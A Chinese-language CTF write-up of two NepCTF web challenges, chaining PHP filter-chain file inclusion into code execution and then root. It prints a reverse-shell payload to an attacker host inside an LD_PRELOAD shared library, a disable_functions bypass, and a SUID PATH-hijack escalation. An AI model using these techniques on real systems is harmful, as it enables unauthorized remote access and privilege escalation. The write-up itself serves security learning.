nepctf

发布时间 2023-08-22 19:38:58作者: TheBlackEagle

之前打的nepctf复现一下web的两道题

 首先是web的ez_java_checkin

交了flag的环境不知道咋开了,思路就是按照给的提示,提示说有个很老的java的洞,找了半天发现是shiro,然后直接拿shiro工具一把梭

 等进去之后写个asp马连上

根目录下会发现一个flag,还有个start.sh和jar的文件,flag没有读权限,没太搞懂,当时做了半天没做出来,第二天发现start.sh里突然有flag了

但是正确的做法是find提权,当时也不知道怎么回事没想起来

下一个是ezinclude,没做上,看着大佬wp复现的

 进到页面中之后是这样的:

 

 初步尝试之后没什么思路

删掉参数得到提示

 

 去提示里给的文章看学习LFI:https://tttang.com/archive/1395/

说实话没太看懂,等有时间仔细学学,先拿大佬给的脚本跑了:https://github.com/synacktiv/php_filter_chain_generator

下载后运行会生成payload

如果是linux运行记得在$_POST前加上反斜杠转义,不然终端会将它当成变量,生成的也是错的

 正常的:

 然后放到get请求中的link里,post中写上命令

 然后可以直接用一键连接了,但是

 

 想着正好能用之前那个双链表用后释放试试,结果发现哥斯拉死活连不上,目录权限又没有,只有一个/tmp权限,只能试试按照大佬的方法,估计也是绕过disable最常用的方法,很多文章都给这种方式放在第一

但是忽然发现tmp也上传不了

看大佬给的文章https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8B%E7%9A%84php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/#domdocument

加上大佬写的.so提权(LD那个太长了,就叫.so提权吧)

这里蚁剑有个代码执行的插件还挺好用的,不用去库库改post的值

 

 传文件的代码是这一串:

1 $f="/tmp/poc.so";
2 $d=new DOMDocument();
3 $d->loadHTML("xxxxxxx");
4 $d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");

把loadHTML中的内容改成要传的内容,这里需要用c语言写好再用gcc编译,转成so文件之后base64编码一次,url编码一次(不在蚁剑里的话),然后放进去

c的代码:

1 #include <stdio.h>
2 #include <unistd.h>
3 #include <stdio.h>
4 __attribute__ ((__constructor__)) void angel (void){
5     unsetenv("LD_PRELOAD");
6     system("bash -c 'bash -i >& /dev/tcp/vps/7788 0>&1'");
7 }

记得把vps和端口换成自己的

 这边就写进来了

 然后再执行:

1 var_dump(scandir("/tmp/"));
2 putenv("LD_PRELOAD=/tmp/poc.so");
3 mb_send_mail("","","");

 这边收到shell,然后就是提权,查一手suid

 根目录底下还有个src.c,应该是showmsg的源码

 

 调用了cat,可以用环境变量提权

环境提权的过程:

1 cd /tmp
2 echo “/bin/bash” > cat
3 chmod 777 cat
4 echo $PATH
5 export PATH=/tmp:$PATH
6 cd /7 ./showmsg
8 whoami

 然后就可以读flag了

这里记得cat已经用来提权了,现在不能用来读文件,可以用head,tail,tac等其他方法来读